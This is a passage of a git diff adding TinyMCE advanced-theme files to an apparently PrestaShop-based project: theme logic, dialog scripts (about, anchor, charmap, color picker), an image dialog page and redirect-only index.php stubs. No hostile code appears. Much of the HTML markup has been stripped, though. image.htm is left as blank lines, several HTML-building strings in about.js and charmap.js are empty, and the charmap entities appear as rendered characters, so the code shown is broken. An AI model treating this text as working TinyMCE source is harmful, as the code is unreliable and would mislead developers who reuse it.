(s.theme_advanced_show_current_color) { + function updateColor(controlId, color) { + if (c = cm.get(controlId)) { + if (!color) + color = c.settings.default_color; + if (color !== c.value) { + c.displayColor(color); + } + } + } + updateColor('forecolor', fc); + updateColor('backcolor', bc); + } + + if (s.theme_advanced_show_current_color) { + function updateColor(controlId, color) { + if (c = cm.get(controlId)) { + if (!color) + color = c.settings.default_color; + if (color !== c.value) { + c.displayColor(color); + } + } + }; + + updateColor('forecolor', fc); + updateColor('backcolor', bc); + } + + if (s.theme_advanced_path && s.theme_advanced_statusbar_location) { + p = DOM.get(ed.id + '_path') || DOM.add(ed.id + '_path_row', 'span', {id : ed.id + '_path'}); + + if (t.statusKeyboardNavigation) { + t.statusKeyboardNavigation.destroy(); + t.statusKeyboardNavigation = null; + } + + DOM.setHTML(p, ''); + + getParent(function(n) { + var na = n.nodeName.toLowerCase(), u, pi, ti = ''; + + // Ignore non element and bogus/hidden elements + if (n.nodeType != 1 || na === 'br' || n.getAttribute('data-mce-bogus') || DOM.hasClass(n, 'mceItemHidden') || DOM.hasClass(n, 'mceItemRemoved')) + return; + + // Handle prefix + if (tinymce.isIE && n.scopeName !== 'HTML') + na = n.scopeName + ':' + na; + + // Remove internal prefix + na = na.replace(/mce\:/g, ''); + + // Handle node name + switch (na) { + case 'b': + na = 'strong'; + break; + + case 'i': + na = 'em'; + break; + + case 'img': + if (v = DOM.getAttrib(n, 'src')) + ti += 'src: ' + v + ' '; + + break; + + case 'a': + if (v = DOM.getAttrib(n, 'name')) { + ti += 'name: ' + v + ' '; + na += '#' + v; + } + + if (v = DOM.getAttrib(n, 'href')) + ti += 'href: ' + v + ' '; + + break; + + case 'font': + if (v = DOM.getAttrib(n, 'face')) + ti += 'font: ' + v + ' '; + + if (v = DOM.getAttrib(n, 'size')) + ti += 'size: ' + v + ' '; + + if (v = DOM.getAttrib(n, 'color')) + ti += 'color: ' + v + ' '; + + break; + + case 'span': + if (v = DOM.getAttrib(n, 'style')) + ti += 'style: ' + v + ' '; + + break; + } + + if (v = DOM.getAttrib(n, 'id')) + ti += 'id: ' + v + ' '; + + if (v = n.className) { + v = v.replace(/\b\s*(webkit|mce|Apple-)\w+\s*\b/g, '') + + if (v) { + ti += 'class: ' + v + ' '; + + if (DOM.isBlock(n) || na == 'img' || na == 'span') + na += '.' + v; + } + } + + na = na.replace(/(html:)/g, ''); + na = {name : na, node : n, title : ti}; + t.onResolveName.dispatch(t, na); + ti = na.title; + na = na.name; + + //u = "javascript:tinymce.EditorManager.get('" + ed.id + "').theme._sel('" + (de++) + "');"; + pi = DOM.create('a', {'href' : "javascript:;", role: 'button', onmousedown : "return false;", title : ti, 'class' : 'mcePath_' + (de++)}, na); + + if (p.hasChildNodes()) { + p.insertBefore(DOM.create('span', {'aria-hidden': 'true'}, '\u00a0\u00bb '), p.firstChild); + p.insertBefore(pi, p.firstChild); + } else + p.appendChild(pi); + }, ed.getBody()); + + if (DOM.select('a', p).length > 0) { + t.statusKeyboardNavigation = new tinymce.ui.KeyboardNavigation({ + root: ed.id + "_path_row", + items: DOM.select('a', p), + excludeFromTabOrder: true, + onCancel: function() { + ed.focus(); + } + }, DOM); + } + } + }, + + // Commands gets called by execCommand + + _sel : function(v) { + this.editor.execCommand('mceSelectNodeDepth', false, v); + }, + + _mceInsertAnchor : function(ui, v) { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/anchor.htm', + width : 320 + parseInt(ed.getLang('advanced.anchor_delta_width', 0)), + height : 90 + parseInt(ed.getLang('advanced.anchor_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceCharMap : function() { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/charmap.htm', + width : 550 + parseInt(ed.getLang('advanced.charmap_delta_width', 0)), + height : 265 + parseInt(ed.getLang('advanced.charmap_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceHelp : function() { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/about.htm', + width : 480, + height : 380, + inline : true + }, { + theme_url : this.url + }); + }, + + _mceShortcuts : function() { + var ed = this.editor; + ed.windowManager.open({ + url: this.url + '/shortcuts.htm', + width: 480, + height: 380, + inline: true + }, { + theme_url: this.url + }); + }, + + _mceColorPicker : function(u, v) { + var ed = this.editor; + + v = v || {}; + + ed.windowManager.open({ + url : this.url + '/color_picker.htm', + width : 375 + parseInt(ed.getLang('advanced.colorpicker_delta_width', 0)), + height : 250 + parseInt(ed.getLang('advanced.colorpicker_delta_height', 0)), + close_previous : false, + inline : true + }, { + input_color : v.color, + func : v.func, + theme_url : this.url + }); + }, + + _mceCodeEditor : function(ui, val) { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/source_editor.htm', + width : parseInt(ed.getParam("theme_advanced_source_editor_width", 720)), + height : parseInt(ed.getParam("theme_advanced_source_editor_height", 580)), + inline : true, + resizable : true, + maximizable : true + }, { + theme_url : this.url + }); + }, + + _mceImage : function(ui, val) { + var ed = this.editor; + + // Internal image object like a flash placeholder + if (ed.dom.getAttrib(ed.selection.getNode(), 'class').indexOf('mceItem') != -1) + return; + + ed.windowManager.open({ + url : this.url + '/image.htm', + width : 355 + parseInt(ed.getLang('advanced.image_delta_width', 0)), + height : 275 + parseInt(ed.getLang('advanced.image_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceLink : function(ui, val) { + var ed = this.editor; + + ed.windowManager.open({ + url : this.url + '/link.htm', + width : 310 + parseInt(ed.getLang('advanced.link_delta_width', 0)), + height : 200 + parseInt(ed.getLang('advanced.link_delta_height', 0)), + inline : true + }, { + theme_url : this.url + }); + }, + + _mceNewDocument : function() { + var ed = this.editor; + + ed.windowManager.confirm('advanced.newdocument', function(s) { + if (s) + ed.execCommand('mceSetContent', false, ''); + }); + }, + + _mceForeColor : function() { + var t = this; + + this._mceColorPicker(0, { + color: t.fgColor, + func : function(co) { + t.fgColor = co; + t.editor.execCommand('ForeColor', false, co); + } + }); + }, + + _mceBackColor : function() { + var t = this; + + this._mceColorPicker(0, { + color: t.bgColor, + func : function(co) { + t.bgColor = co; + t.editor.execCommand('HiliteColor', false, co); + } + }); + }, + + _ufirst : function(s) { + return s.substring(0, 1).toUpperCase() + s.substring(1); + } + }); + + tinymce.ThemeManager.add('advanced', tinymce.themes.AdvancedTheme); +}(tinymce)); diff --git a/js/tiny_mce2/themes/advanced/image.htm b/js/tiny_mce2/themes/advanced/image.htm new file mode 100755 index 0000000..884890f --- /dev/null +++ b/js/tiny_mce2/themes/advanced/image.htm @@ -0,0 +1,80 @@ + + + + {#advanced_dlg.image_title} + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    + x +
    +
    +
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce2/themes/advanced/img/colorpicker.jpg b/js/tiny_mce2/themes/advanced/img/colorpicker.jpg new file mode 100755 index 0000000..b1a377a Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/colorpicker.jpg differ diff --git a/js/tiny_mce2/themes/advanced/img/flash.gif b/js/tiny_mce2/themes/advanced/img/flash.gif new file mode 100755 index 0000000..dec3f7c Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/flash.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/icons.gif b/js/tiny_mce2/themes/advanced/img/icons.gif new file mode 100755 index 0000000..641a9e3 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/icons.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/iframe.gif b/js/tiny_mce2/themes/advanced/img/iframe.gif new file mode 100755 index 0000000..410c7ad Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/iframe.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/index.php b/js/tiny_mce2/themes/advanced/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/img/pagebreak.gif b/js/tiny_mce2/themes/advanced/img/pagebreak.gif new file mode 100755 index 0000000..acdf408 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/pagebreak.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/quicktime.gif b/js/tiny_mce2/themes/advanced/img/quicktime.gif new file mode 100755 index 0000000..8f10e7a Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/quicktime.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/realmedia.gif b/js/tiny_mce2/themes/advanced/img/realmedia.gif new file mode 100755 index 0000000..fdfe0b9 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/realmedia.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/shockwave.gif b/js/tiny_mce2/themes/advanced/img/shockwave.gif new file mode 100755 index 0000000..9314d04 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/shockwave.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/trans.gif b/js/tiny_mce2/themes/advanced/img/trans.gif new file mode 100755 index 0000000..3884865 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/trans.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/video.gif b/js/tiny_mce2/themes/advanced/img/video.gif new file mode 100755 index 0000000..3570104 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/video.gif differ diff --git a/js/tiny_mce2/themes/advanced/img/windowsmedia.gif b/js/tiny_mce2/themes/advanced/img/windowsmedia.gif new file mode 100755 index 0000000..ab50f2d Binary files /dev/null and b/js/tiny_mce2/themes/advanced/img/windowsmedia.gif differ diff --git a/js/tiny_mce2/themes/advanced/index.php b/js/tiny_mce2/themes/advanced/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/js/about.js b/js/tiny_mce2/themes/advanced/js/about.js new file mode 100755 index 0000000..daf4909 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/about.js @@ -0,0 +1,73 @@ +tinyMCEPopup.requireLangPack(); + +function init() { + var ed, tcont; + + tinyMCEPopup.resizeToInnerSize(); + ed = tinyMCEPopup.editor; + + // Give FF some time + window.setTimeout(insertHelpIFrame, 10); + + tcont = document.getElementById('plugintablecontainer'); + document.getElementById('plugins_tab').style.display = 'none'; + + var html = ""; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + html += ''; + + tinymce.each(ed.plugins, function(p, n) { + var info; + + if (!p.getInfo) + return; + + html += ''; + + info = p.getInfo(); + + if (info.infourl != null && info.infourl != '') + html += ''; + else + html += ''; + + if (info.authorurl != null && info.authorurl != '') + html += ''; + else + html += ''; + + html += ''; + html += ''; + + document.getElementById('plugins_tab').style.display = ''; + + }); + + html += ''; + html += '
    ' + ed.getLang('advanced_dlg.about_plugin') + '' + ed.getLang('advanced_dlg.about_author') + '' + ed.getLang('advanced_dlg.about_version') + '
    ' + info.longname + '' + info.longname + '' + info.author + '' + info.author + '' + info.version + '
    '; + + tcont.innerHTML = html; + + tinyMCEPopup.dom.get('version').innerHTML = tinymce.majorVersion + "." + tinymce.minorVersion; + tinyMCEPopup.dom.get('date').innerHTML = tinymce.releaseDate; +} + +function insertHelpIFrame() { + var html; + + if (tinyMCEPopup.getParam('docs_url')) { + html = ''; + document.getElementById('iframecontainer').innerHTML = html; + document.getElementById('help_tab').style.display = 'block'; + document.getElementById('help_tab').setAttribute("aria-hidden", "false"); + } +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/themes/advanced/js/anchor.js b/js/tiny_mce2/themes/advanced/js/anchor.js new file mode 100755 index 0000000..b6c5b69 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/anchor.js @@ -0,0 +1,43 @@ +tinyMCEPopup.requireLangPack(); + +var AnchorDialog = { + init : function(ed) { + var action, elm, f = document.forms[0]; + + this.editor = ed; + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + v = ed.dom.getAttrib(elm, 'name'); + + if (v) { + this.action = 'update'; + f.anchorName.value = v; + } + + f.insert.value = ed.getLang(elm ? 'update' : 'insert'); + }, + + update : function() { + var ed = this.editor, elm, name = document.forms[0].anchorName.value; + + if (!name || !/^[a-z][a-z0-9\-\_:\.]*$/i.test(name)) { + tinyMCEPopup.alert('advanced_dlg.anchor_invalid'); + return; + } + + tinyMCEPopup.restoreSelection(); + + if (this.action != 'update') + ed.selection.collapse(1); + + elm = ed.dom.getParent(ed.selection.getNode(), 'A'); + if (elm) { + elm.setAttribute('name', name); + elm.name = name; + } else + ed.execCommand('mceInsertContent', 0, ed.dom.createHTML('a', {name : name, 'class' : 'mceItemAnchor'}, '')); + + tinyMCEPopup.close(); + } +}; + +tinyMCEPopup.onInit.add(AnchorDialog.init, AnchorDialog); diff --git a/js/tiny_mce2/themes/advanced/js/charmap.js b/js/tiny_mce2/themes/advanced/js/charmap.js new file mode 100755 index 0000000..cbb4172 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/charmap.js @@ -0,0 +1,363 @@ +/** + * charmap.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +tinyMCEPopup.requireLangPack(); + +var charmap = [ + [' ', ' ', true, 'no-break space'], + ['&', '&', true, 'ampersand'], + ['"', '"', true, 'quotation mark'], +// finance + ['¢', '¢', true, 'cent sign'], + ['€', '€', true, 'euro sign'], + ['£', '£', true, 'pound sign'], + ['¥', '¥', true, 'yen sign'], +// signs + ['©', '©', true, 'copyright sign'], + ['®', '®', true, 'registered sign'], + ['™', '™', true, 'trade mark sign'], + ['‰', '‰', true, 'per mille sign'], + ['µ', 'µ', true, 'micro sign'], + ['·', '·', true, 'middle dot'], + ['•', '•', true, 'bullet'], + ['…', '…', true, 'three dot leader'], + ['′', '′', true, 'minutes / feet'], + ['″', '″', true, 'seconds / inches'], + ['§', '§', true, 'section sign'], + ['¶', '¶', true, 'paragraph sign'], + ['ß', 'ß', true, 'sharp s / ess-zed'], +// quotations + ['‹', '‹', true, 'single left-pointing angle quotation mark'], + ['›', '›', true, 'single right-pointing angle quotation mark'], + ['«', '«', true, 'left pointing guillemet'], + ['»', '»', true, 'right pointing guillemet'], + ['‘', '‘', true, 'left single quotation mark'], + ['’', '’', true, 'right single quotation mark'], + ['“', '“', true, 'left double quotation mark'], + ['”', '”', true, 'right double quotation mark'], + ['‚', '‚', true, 'single low-9 quotation mark'], + ['„', '„', true, 'double low-9 quotation mark'], + ['<', '<', true, 'less-than sign'], + ['>', '>', true, 'greater-than sign'], + ['≤', '≤', true, 'less-than or equal to'], + ['≥', '≥', true, 'greater-than or equal to'], + ['–', '–', true, 'en dash'], + ['—', '—', true, 'em dash'], + ['¯', '¯', true, 'macron'], + ['‾', '‾', true, 'overline'], + ['¤', '¤', true, 'currency sign'], + ['¦', '¦', true, 'broken bar'], + ['¨', '¨', true, 'diaeresis'], + ['¡', '¡', true, 'inverted exclamation mark'], + ['¿', '¿', true, 'turned question mark'], + ['ˆ', 'ˆ', true, 'circumflex accent'], + ['˜', '˜', true, 'small tilde'], + ['°', '°', true, 'degree sign'], + ['−', '−', true, 'minus sign'], + ['±', '±', true, 'plus-minus sign'], + ['÷', '÷', true, 'division sign'], + ['⁄', '⁄', true, 'fraction slash'], + ['×', '×', true, 'multiplication sign'], + ['¹', '¹', true, 'superscript one'], + ['²', '²', true, 'superscript two'], + ['³', '³', true, 'superscript three'], + ['¼', '¼', true, 'fraction one quarter'], + ['½', '½', true, 'fraction one half'], + ['¾', '¾', true, 'fraction three quarters'], +// math / logical + ['ƒ', 'ƒ', true, 'function / florin'], + ['∫', '∫', true, 'integral'], + ['∑', '∑', true, 'n-ary sumation'], + ['∞', '∞', true, 'infinity'], + ['√', '√', true, 'square root'], + ['∼', '∼', false,'similar to'], + ['≅', '≅', false,'approximately equal to'], + ['≈', '≈', true, 'almost equal to'], + ['≠', '≠', true, 'not equal to'], + ['≡', '≡', true, 'identical to'], + ['∈', '∈', false,'element of'], + ['∉', '∉', false,'not an element of'], + ['∋', '∋', false,'contains as member'], + ['∏', '∏', true, 'n-ary product'], + ['∧', '∧', false,'logical and'], + ['∨', '∨', false,'logical or'], + ['¬', '¬', true, 'not sign'], + ['∩', '∩', true, 'intersection'], + ['∪', '∪', false,'union'], + ['∂', '∂', true, 'partial differential'], + ['∀', '∀', false,'for all'], + ['∃', '∃', false,'there exists'], + ['∅', '∅', false,'diameter'], + ['∇', '∇', false,'backward difference'], + ['∗', '∗', false,'asterisk operator'], + ['∝', '∝', false,'proportional to'], + ['∠', '∠', false,'angle'], +// undefined + ['´', '´', true, 'acute accent'], + ['¸', '¸', true, 'cedilla'], + ['ª', 'ª', true, 'feminine ordinal indicator'], + ['º', 'º', true, 'masculine ordinal indicator'], + ['†', '†', true, 'dagger'], + ['‡', '‡', true, 'double dagger'], +// alphabetical special chars + ['À', 'À', true, 'A - grave'], + ['Á', 'Á', true, 'A - acute'], + ['Â', 'Â', true, 'A - circumflex'], + ['Ã', 'Ã', true, 'A - tilde'], + ['Ä', 'Ä', true, 'A - diaeresis'], + ['Å', 'Å', true, 'A - ring above'], + ['Æ', 'Æ', true, 'ligature AE'], + ['Ç', 'Ç', true, 'C - cedilla'], + ['È', 'È', true, 'E - grave'], + ['É', 'É', true, 'E - acute'], + ['Ê', 'Ê', true, 'E - circumflex'], + ['Ë', 'Ë', true, 'E - diaeresis'], + ['Ì', 'Ì', true, 'I - grave'], + ['Í', 'Í', true, 'I - acute'], + ['Î', 'Î', true, 'I - circumflex'], + ['Ï', 'Ï', true, 'I - diaeresis'], + ['Ð', 'Ð', true, 'ETH'], + ['Ñ', 'Ñ', true, 'N - tilde'], + ['Ò', 'Ò', true, 'O - grave'], + ['Ó', 'Ó', true, 'O - acute'], + ['Ô', 'Ô', true, 'O - circumflex'], + ['Õ', 'Õ', true, 'O - tilde'], + ['Ö', 'Ö', true, 'O - diaeresis'], + ['Ø', 'Ø', true, 'O - slash'], + ['Œ', 'Œ', true, 'ligature OE'], + ['Š', 'Š', true, 'S - caron'], + ['Ù', 'Ù', true, 'U - grave'], + ['Ú', 'Ú', true, 'U - acute'], + ['Û', 'Û', true, 'U - circumflex'], + ['Ü', 'Ü', true, 'U - diaeresis'], + ['Ý', 'Ý', true, 'Y - acute'], + ['Ÿ', 'Ÿ', true, 'Y - diaeresis'], + ['Þ', 'Þ', true, 'THORN'], + ['à', 'à', true, 'a - grave'], + ['á', 'á', true, 'a - acute'], + ['â', 'â', true, 'a - circumflex'], + ['ã', 'ã', true, 'a - tilde'], + ['ä', 'ä', true, 'a - diaeresis'], + ['å', 'å', true, 'a - ring above'], + ['æ', 'æ', true, 'ligature ae'], + ['ç', 'ç', true, 'c - cedilla'], + ['è', 'è', true, 'e - grave'], + ['é', 'é', true, 'e - acute'], + ['ê', 'ê', true, 'e - circumflex'], + ['ë', 'ë', true, 'e - diaeresis'], + ['ì', 'ì', true, 'i - grave'], + ['í', 'í', true, 'i - acute'], + ['î', 'î', true, 'i - circumflex'], + ['ï', 'ï', true, 'i - diaeresis'], + ['ð', 'ð', true, 'eth'], + ['ñ', 'ñ', true, 'n - tilde'], + ['ò', 'ò', true, 'o - grave'], + ['ó', 'ó', true, 'o - acute'], + ['ô', 'ô', true, 'o - circumflex'], + ['õ', 'õ', true, 'o - tilde'], + ['ö', 'ö', true, 'o - diaeresis'], + ['ø', 'ø', true, 'o slash'], + ['œ', 'œ', true, 'ligature oe'], + ['š', 'š', true, 's - caron'], + ['ù', 'ù', true, 'u - grave'], + ['ú', 'ú', true, 'u - acute'], + ['û', 'û', true, 'u - circumflex'], + ['ü', 'ü', true, 'u - diaeresis'], + ['ý', 'ý', true, 'y - acute'], + ['þ', 'þ', true, 'thorn'], + ['ÿ', 'ÿ', true, 'y - diaeresis'], + ['Α', 'Α', true, 'Alpha'], + ['Β', 'Β', true, 'Beta'], + ['Γ', 'Γ', true, 'Gamma'], + ['Δ', 'Δ', true, 'Delta'], + ['Ε', 'Ε', true, 'Epsilon'], + ['Ζ', 'Ζ', true, 'Zeta'], + ['Η', 'Η', true, 'Eta'], + ['Θ', 'Θ', true, 'Theta'], + ['Ι', 'Ι', true, 'Iota'], + ['Κ', 'Κ', true, 'Kappa'], + ['Λ', 'Λ', true, 'Lambda'], + ['Μ', 'Μ', true, 'Mu'], + ['Ν', 'Ν', true, 'Nu'], + ['Ξ', 'Ξ', true, 'Xi'], + ['Ο', 'Ο', true, 'Omicron'], + ['Π', 'Π', true, 'Pi'], + ['Ρ', 'Ρ', true, 'Rho'], + ['Σ', 'Σ', true, 'Sigma'], + ['Τ', 'Τ', true, 'Tau'], + ['Υ', 'Υ', true, 'Upsilon'], + ['Φ', 'Φ', true, 'Phi'], + ['Χ', 'Χ', true, 'Chi'], + ['Ψ', 'Ψ', true, 'Psi'], + ['Ω', 'Ω', true, 'Omega'], + ['α', 'α', true, 'alpha'], + ['β', 'β', true, 'beta'], + ['γ', 'γ', true, 'gamma'], + ['δ', 'δ', true, 'delta'], + ['ε', 'ε', true, 'epsilon'], + ['ζ', 'ζ', true, 'zeta'], + ['η', 'η', true, 'eta'], + ['θ', 'θ', true, 'theta'], + ['ι', 'ι', true, 'iota'], + ['κ', 'κ', true, 'kappa'], + ['λ', 'λ', true, 'lambda'], + ['μ', 'μ', true, 'mu'], + ['ν', 'ν', true, 'nu'], + ['ξ', 'ξ', true, 'xi'], + ['ο', 'ο', true, 'omicron'], + ['π', 'π', true, 'pi'], + ['ρ', 'ρ', true, 'rho'], + ['ς', 'ς', true, 'final sigma'], + ['σ', 'σ', true, 'sigma'], + ['τ', 'τ', true, 'tau'], + ['υ', 'υ', true, 'upsilon'], + ['φ', 'φ', true, 'phi'], + ['χ', 'χ', true, 'chi'], + ['ψ', 'ψ', true, 'psi'], + ['ω', 'ω', true, 'omega'], +// symbols + ['ℵ', 'ℵ', false,'alef symbol'], + ['ϖ', 'ϖ', false,'pi symbol'], + ['ℜ', 'ℜ', false,'real part symbol'], + ['ϑ','ϑ', false,'theta symbol'], + ['ϒ', 'ϒ', false,'upsilon - hook symbol'], + ['℘', '℘', false,'Weierstrass p'], + ['ℑ', 'ℑ', false,'imaginary part'], +// arrows + ['←', '←', true, 'leftwards arrow'], + ['↑', '↑', true, 'upwards arrow'], + ['→', '→', true, 'rightwards arrow'], + ['↓', '↓', true, 'downwards arrow'], + ['↔', '↔', true, 'left right arrow'], + ['↵', '↵', false,'carriage return'], + ['⇐', '⇐', false,'leftwards double arrow'], + ['⇑', '⇑', false,'upwards double arrow'], + ['⇒', '⇒', false,'rightwards double arrow'], + ['⇓', '⇓', false,'downwards double arrow'], + ['⇔', '⇔', false,'left right double arrow'], + ['∴', '∴', false,'therefore'], + ['⊂', '⊂', false,'subset of'], + ['⊃', '⊃', false,'superset of'], + ['⊄', '⊄', false,'not a subset of'], + ['⊆', '⊆', false,'subset of or equal to'], + ['⊇', '⊇', false,'superset of or equal to'], + ['⊕', '⊕', false,'circled plus'], + ['⊗', '⊗', false,'circled times'], + ['⊥', '⊥', false,'perpendicular'], + ['⋅', '⋅', false,'dot operator'], + ['⌈', '⌈', false,'left ceiling'], + ['⌉', '⌉', false,'right ceiling'], + ['⌊', '⌊', false,'left floor'], + ['⌋', '⌋', false,'right floor'], + ['⟨', '〈', false,'left-pointing angle bracket'], + ['⟩', '〉', false,'right-pointing angle bracket'], + ['◊', '◊', true, 'lozenge'], + ['♠', '♠', true, 'black spade suit'], + ['♣', '♣', true, 'black club suit'], + ['♥', '♥', true, 'black heart suit'], + ['♦', '♦', true, 'black diamond suit'], + [' ', ' ', false,'en space'], + [' ', ' ', false,'em space'], + [' ', ' ', false,'thin space'], + ['‌', '‌', false,'zero width non-joiner'], + ['‍', '‍', false,'zero width joiner'], + ['‎', '‎', false,'left-to-right mark'], + ['‏', '‏', false,'right-to-left mark'], + ['­', '­', false,'soft hyphen'] +]; + +tinyMCEPopup.onInit.add(function() { + tinyMCEPopup.dom.setHTML('charmapView', renderCharMapHTML()); + addKeyboardNavigation(); +}); + +function addKeyboardNavigation(){ + var tableElm, cells, settings; + + cells = tinyMCEPopup.dom.select("a.charmaplink", "charmapgroup"); + + settings ={ + root: "charmapgroup", + items: cells + }; + cells[0].tabindex=0; + tinyMCEPopup.dom.addClass(cells[0], "mceFocus"); + if (tinymce.isGecko) { + cells[0].focus(); + } else { + setTimeout(function(){ + cells[0].focus(); + }, 100); + } + tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', settings, tinyMCEPopup.dom); +} + +function renderCharMapHTML() { + var charsPerRow = 20, tdWidth=20, tdHeight=20, i; + var html = '
    '+ + ''; + var cols=-1; + + for (i=0; i' + + '' + + charmap[i][1] + + ''; + if ((cols+1) % charsPerRow == 0) + html += ''; + } + } + + if (cols % charsPerRow > 0) { + var padd = charsPerRow - (cols % charsPerRow); + for (var i=0; i '; + } + + html += '
    '; + html = html.replace(/<\/tr>/g, ''); + + return html; +} + +function insertChar(chr) { + tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';'); + + // Refocus in window + if (tinyMCEPopup.isWindow) + window.focus(); + + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); +} + +function previewChar(codeA, codeB, codeN) { + var elmA = document.getElementById('codeA'); + var elmB = document.getElementById('codeB'); + var elmV = document.getElementById('codeV'); + var elmN = document.getElementById('codeN'); + + if (codeA=='#160;') { + elmV.innerHTML = '__'; + } else { + elmV.innerHTML = '&' + codeA; + } + + elmB.innerHTML = '&' + codeA; + elmA.innerHTML = '&' + codeB; + elmN.innerHTML = codeN; +} diff --git a/js/tiny_mce2/themes/advanced/js/color_picker.js b/js/tiny_mce2/themes/advanced/js/color_picker.js new file mode 100755 index 0000000..3cbf32c --- /dev/null +++ b/js/tiny_mce2/themes/advanced/js/color_picker.js @@ -0,0 +1,329 @@ +tinyMCEPopup.requireLangPack(); + +var detail = 50, strhex = "0123456789abcdef", i, isMouseDown = false, isMouseOver = false; + +var colors = [ + "#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033", + "#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099", + "#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff", + "#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033", + "#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399", + "#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff", + "#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333", + "#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399", + "#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff", + "#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633", + "#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699", + "#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff", + "#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633", + "#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999", + "#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff", + "#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933", + "#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999", + "#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff", + "#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33", + "#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99", + "#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff", + "#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33", + "#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99", + "#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff", + "#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33", + "#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99", + "#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff" +]; + +var named = { + '#F0F8FF':'Alice Blue','#FAEBD7':'Antique 